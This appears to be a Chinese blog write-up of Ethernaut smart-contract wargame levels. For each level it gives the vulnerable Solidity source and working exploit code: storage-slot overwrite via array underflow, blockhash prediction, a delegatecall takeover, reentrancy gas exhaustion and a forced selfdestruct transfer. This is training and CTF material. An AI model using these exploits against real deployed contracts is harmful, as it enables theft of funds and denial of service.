夜间模式暗黑模式
字体
阴影
滤镜
圆角
Ethernaut智能合约题目整理(一)

前言

最近在做一些智能合约的题目,觉得挺好玩。这里把必要的解题思路整理一下,相关markdown文档和exp已上传至github,欢迎查阅,共同学习!顺序是按照题目首字母的字母顺序排列的,可能和原关卡顺序不一样。

Alien Codex

0x01 Task

pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

 bool public contact;
 bytes32[] public codex;

 modifier contacted() {
   assert(contact);
   _;
}
 
 function make_contact(bytes32[] _firstContactMessage) public {
   assert(_firstContactMessage.length > 2**200);
   contact = true;
}

 function record(bytes32 _content) contacted public {
codex.push(_content);
}

 function retract() contacted public {
   codex.length--;
}

 function revise(uint i, bytes32 _content) contacted public {
   codex[i] = _content;
}
}

You’ve uncovered an Alien contract. Claim ownership to complete the level.

0x02 need2know

AlienCodex是继承自Ownable合约的,而在Ownable合约中其实存在变量_owner,我们的目标就是要想办法把_owner改成自己的地址。

再看到AlienCodex合约里面,很多方法都添加了contacted修饰符,我们也应当把contact改成true

看到make_contact函数,里面有把contact设置为true的操作,但是存在限制检查assert(_firstContactMessage.length > 2**200)。想了一下2^200基本上在内存中也装不下这么大的东西。

这里要知道:当您调用方法传递数组时,solidity不会根据实际有效负载对数组大小进行检查。

根据Contract ABI,并拿单变量函数make_contact(bytes32[] _firstContactMessage)举例,参数应当参照下面的结构:

  • 4 bytes of a hash of the signature of the function
  • the location of the data part of bytes32[]
  • the length of the bytes32[] array
  • the actual data.

接下来把他们都计算出来:

web3.sha3('make_contact(bytes32[])')

0x1d3d4c0b6dd3cffa8438b3336ac6e7cd0df521df3bef5370f94efed6411c1a65

take first 4 bytes, so 0x1d3d4c0b our desired result.

偏移就是32bytes

0x0000000000000000000000000000000000000000000000000000000000000020

大于2^200的长度

0x1000000000000000000000000000000000000000000000000000000000000001

实际数据不用放。

sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true

contact被我们设置成true了以后,能用的函数就变多了。接下来要修改的是Ownable合约中其实存在变量_owner,但是看看源码好像没有相关的修改表达式,那就换个想法,从合约内部存储原理入手。

_owner被存储在合约的slot0上,而codex数组存储在slot1上。因为EVM的优化存储,并且地址类型占据20bytes,bool占据1byte,所以他们都能存储在一个大小为32bytes的slot中。EVM的存储位置计算规则,对于codex数组来说就是keccak256(bytes32(1))

SlotVariable
0contact bool(1 bytes] & owner address (20 bytes), both fit on one slot
1codex.length
keccak256(1)codex[0]
keccak256(1) + 1codex[1]
2²⁵⁶ – 1codex[2²⁵⁶ – 1 – uint(keccak256(1))]
0codex[2²⁵⁶ – 1 – uint(keccak256(1)) + 1] –> can write slot 0!
contract Calc {
   
   bytes32 public one;
   uint public index;
   uint public length;
   bytes32 public lengthBytes;
   
   function getIndex() {
       one = keccak256(bytes32(1));
       index = 2 ** 256 - 1 - uint(one) + 1;
  }
}

得到计算结果后:

contract.retract() // 先让数组长度溢出
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938', '0x000000000000000000000000899f879df02dc33893c54d6D02A3b2D6bBE144Df', {from:player, gas: 900000});

Coin Flip

0x01 Source Code

pragma solidity ^0.4.18;

contract CoinFlip {
 uint256 public consecutiveWins;
 uint256 lastHash;
 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

 function CoinFlip() public {
   consecutiveWins = 0;
}

 function flip(bool _guess) public returns (bool) {
   uint256 blockValue = uint256(block.blockhash(block.number-1));

   if (lastHash == blockValue) {
     revert();
  }

   lastHash = blockValue;
   uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
   bool side = coinFlip == 1 ? true : false;

   if (side == _guess) {
     consecutiveWins++;
     return true;
  } else {
     consecutiveWins = 0;
     return false;
  }
}
}

0x02 Solution

任务是要连续10次”猜中“side的值。

但是发现flip()中存在类似哈希的计算,直接写逆算法几乎不可能。

相反,因为flip算法已经暴露出来,可以直接利用其源代码来编写攻击合约。

contract Attack {
 CoinFlip cf;
 // replace target by your instance address
 address target = 0x1111111111111111111111111111111111111111;
 uint256 lastHash;
 uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

 function Attack() {
   cf = CoinFlip(target);
}

 function calc() public view returns (bool){
   uint256 blockValue = uint256(block.blockhash(block.number-1));

   if (lastHash == blockValue) {
     revert();
  }

   lastHash = blockValue;
   uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
   return coinFlip == 1 ? true : false;
}

 function flip() public {
   bool guess = calc();
   cf.flip(guess);
}
}

查看正确猜测次数

await contract.consecutiveWins().then(x => x.toNumber())

Delegation

0x01 Task

claim ownership

pragma solidity ^0.4.18;

contract Delegate {

 address public owner; // occupies slot 0

 function Delegate(address _owner) public {
   owner = _owner;
}

   // 我的目标就是要调用这个函数
 function pwn() public {
   owner = msg.sender; // save msg.sender to slot 0
}
}

contract Delegation {

 address public owner;
 Delegate delegate;

 function Delegation(address _delegateAddress) public {
   delegate = Delegate(_delegateAddress);
   owner = msg.sender;
}

 function() public {
   if(delegate.delegatecall(msg.data)) {
     this;
  }
}
}

0x02 Solution

Delegatecall

delegate是一个特殊函数调用,通常调用的是其他库或其他合约中的函数。

delegatecall()的优势在于能够保存现状态的合约内容(包括storage/msg.sender/msg.values等)

delegatecall的调用方式是通过函数名hash后的前4个bytes来确定调用函数的

//sha3的返回值前两个为0x,所以要切0-10个字符。
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});

Denial

0x01 Task

pragma solidity ^0.4.24;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Denial {

   using SafeMath for uint256;
   address public partner; // withdrawal partner - pay the gas, split the withdraw
   address public constant owner = 0xA9E;
   uint timeLastWithdrawn;
   mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

   function setWithdrawPartner(address _partner) public {
       partner = _partner;
  }

   // withdraw 1% to recipient and 1% to owner
   function withdraw() public {
       uint amountToSend = address(this).balance.div(100);
       // perform a call without checking return
       // The recipient can revert, the owner will still get their share
       partner.call.value(amountToSend)();
       owner.transfer(amountToSend);
       // keep track of last withdrawal time
       timeLastWithdrawn = now;
       withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
  }

   // allow deposit of funds
   function() payable {}

   // convenience function
   function contractBalance() view returns (uint) {
       return address(this).balance;
  }
}

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.

0x02 need2know

重入攻击,看一下Re-entrancy

0x03 Solution

exp:

pragma solidity >=0.4.22 <0.6.0;
contract Denial {

   address public partner; // withdrawal partner - pay the gas, split the withdraw
   address public constant owner = 0xA9E;
   uint timeLastWithdrawn;
   mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

   function setWithdrawPartner(address _partner) public {
       partner = _partner;
  }

   // withdraw 1% to recipient and 1% to owner
   function withdraw() public {
       uint amountToSend = address(this).balance / 100;
       // perform a call without checking return
       // The recipient can revert, the owner will still get their share
       partner.call.value(amountToSend)();
       owner.transfer(amountToSend);
       // keep track of last withdrawal time
       timeLastWithdrawn = now;
       withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner] + amountToSend;
  }

   // allow deposit of funds
   function() payable {}

   // convenience function
   function contractBalance() view returns (uint) {
       return address(this).balance;
  }
}

contract Attack{
   Denial target;
   constructor(address instance_address) public{
       target = Denial(instance_address);
  }
   function hack() public {
       target.setWithdrawPartner(address(this));
       target.withdraw();
  }
   function () payable public {
       target.withdraw();
  }
}

也有一种方法是使用assert,因为assert失败的话,直接耗费所有的gas。

contract attack{
   function() payable{
       assert(0==1);
  }
}

Elevator

0x01 Task

pragma solidity ^0.4.18;


interface Building {
 function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
 bool public top;
 uint public floor;

 function goTo(uint _floor) public {
   Building building = Building(msg.sender);

   if (! building.isLastFloor(_floor)) {
     floor = _floor;
     top = building.isLastFloor(floor);
  }
}
}

top变成true就行

0x02 Solution

Building 接口中声明了 isLastFloor 函数,用户可以自行编写。

在主合约中,先调用 building.isLastFloor(_floor) 进行 if 判断,然后将 building.isLastFloor(_floor) 赋值给 top 。要使 top = true,则 building.isLastFloor(_floor) 第一次调用需返回 false,第二次调用返回 true

思路也很简单,设置一个初始值为 true 的变量,每次调用 isLastFloor() 函数时,将其取反再返回。

不过,题目中在声明 isLastFloor 函数时,赋予了其 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态。

文档中对view的描述

view functions: The compiler does not enforce yet that a view method is not modifying state.

函数在保证不修改状态情况下可以被声明为视图(view)的形式。但这是松散的,当前 Solidity 编译器没有强制执行视图函数(view function)不能修改状态。

exp:

pragma solidity ^0.4.18;

interface Building {
 function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
 bool public top;
 uint public floor;

 function goTo(uint _floor) public {
   Building building = Building(msg.sender);

   if (! building.isLastFloor(_floor)) {
     floor = _floor;
     top = building.isLastFloor(floor);
  }
}
}

contract Attack {

   address instance_address = 0x0d3eff4f690b817a964835ff8f1daae05aea3648;
   Elevator target = Elevator(instance_address);
   bool public isLast = true;

   function isLastFloor(uint) public returns (bool) {
       isLast = ! isLast;
       return isLast;
  }

   function hack() public {
       target.goTo(1024);
  }

}

Fallback

0x01 Source code

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

 mapping(address => uint) public contributions;

 function Fallback() public {
   contributions[msg.sender] = 1000 * (1 ether);
}

 function contribute() public payable {
   require(msg.value < 0.001 ether);
   contributions[msg.sender] += msg.value;
   if(contributions[msg.sender] > contributions[owner]) {
     owner = msg.sender;
  }
}

 function getContribution() public view returns (uint) {
   return contributions[msg.sender];
}

 function withdraw() public onlyOwner {
   owner.transfer(this.balance);
}

 function() payable public {
   require(msg.value > 0 && contributions[msg.sender] > 0);
   owner = msg.sender;
}
}

0x02 Need2know

  • fallback在智能合约里面是一个比较特殊的函数,它没有函数名,且仅在下面情况下执行:
    • Contract receives ether
    • Someone calls the function not in the contract
    • the parameter is incorrect
  • 在源代码中,function() payable public就是一个fallback函数

0x03 Solution

首先题目给定的任务有两个:

  • Claim ownership of the contract
  • Reduce its balance to 0

首先看到contribute()函数,当value值小于0.001时就可以成为contributor

await contract.contribute({value:toWei(0.0001)})

检查一下是否成为了contributor,可以使用源码自带的getContribution()

await contract.getContribution().then(x => x.toNumber())

接下来发送ether来触发fallback,因为得到了contributor身份,并且发送的value为正值,可以获得owner身份:

contract.send(1)

任务目标一达成,检查owner身份(可以使用player查看是否一致):

await contract.owner()

接下来就可以使用withdraw()达成第二个目标任务:

contract.withdraw()

Fallout

0x01 Source Code

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

 mapping (address => uint) allocations;

 /* constructor */
 function Fal1out() public payable {
   owner = msg.sender;
   allocations[owner] = msg.value;
}

 function allocate() public payable {
   allocations[msg.sender] += msg.value;
}

 function sendAllocation(address allocator) public {
   require(allocations[allocator] > 0);
   allocator.transfer(allocations[allocator]);
}

 function collectAllocations() public onlyOwner {
   msg.sender.transfer(this.balance);
}

 function allocatorBalance(address allocator) public view returns (uint) {
   return allocations[allocator];
}
}

0x02 Solution

目标是获得owner

但是容易发现源代码中有一个Fal1out()函数,函数名故意拼错,意味着它也不是所谓的constructor,直接执行即可。

Force

0x01 Task

Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

pragma solidity ^0.4.18;

contract Force {/*

                  MEOW ?
        /_/   /
  ____/ o o
/~____ =ø= /
(______)__m_m)

*/}

0x02 Solution

这里用到智能合约的一个 trick,当一个合约调用 selfdestruct 函数,也就是自毁时,可以将所有存款发给另一个合约,并且强制对方收下。 所有只需要再部署一个合约,打一点钱,然后自毁,把剩余金额留给目标合约。

pragma solidity ^0.4.18;

contract Attack {
   address instance_address = 0x489457718ffbdc1721938ac411a27a74fa31a85c;

   function Attack() payable{}
   function hack() public {
       selfdestruct(instance_address);
  }
}
暂无评论

发送评论 编辑评论


				
上一篇
下一篇